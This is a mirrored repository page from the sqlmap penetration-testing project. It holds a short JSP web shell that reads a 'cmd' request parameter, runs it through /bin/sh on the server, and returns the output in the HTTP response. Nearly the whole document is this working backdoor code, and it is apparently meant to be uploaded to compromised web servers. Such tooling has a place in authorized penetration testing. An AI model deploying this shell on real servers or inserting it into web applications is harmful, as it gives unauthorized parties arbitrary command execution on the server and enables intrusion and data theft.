mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-12-01 14:03:52 +03:00
47 lines
775 B
Plaintext
47 lines
775 B
Plaintext
|
<%@ page import="java.io.*" %>
|
||
|
<%
|
||
|
|
||
|
Process p;
|
||
|
String s, cmd, html;
|
||
|
|
||
|
cmd = request.getParameter("cmd");
|
||
|
if (cmd == null) {
|
||
|
cmd = "pwd";
|
||
|
}
|
||
|
|
||
|
String []bashcmd = {"/bin/sh","-c",cmd};
|
||
|
|
||
|
html = request.getParameter("html");
|
||
|
|
||
|
if (html != null) {
|
||
|
out.println("<HTML>");
|
||
|
}
|
||
|
|
||
|
p = Runtime.getRuntime().exec(bashcmd);
|
||
|
|
||
|
BufferedReader stdInput = new BufferedReader(new
|
||
|
InputStreamReader(p.getInputStream()));
|
||
|
|
||
|
BufferedReader stdError = new BufferedReader(new
|
||
|
InputStreamReader(p.getErrorStream()));
|
||
|
|
||
|
|
||
|
|
||
|
while ((s = stdInput.readLine()) != null) {
|
||
|
out.println(s);
|
||
|
if (html != null) {
|
||
|
out.println("<br>");
|
||
|
}
|
||
|
}
|
||
|
|
||
|
|
||
|
while ((s = stdError.readLine()) != null) {
|
||
|
System.out.println(s);
|
||
|
if (html != null) {
|
||
|
out.println("<br>");
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
|
||
|
%>
|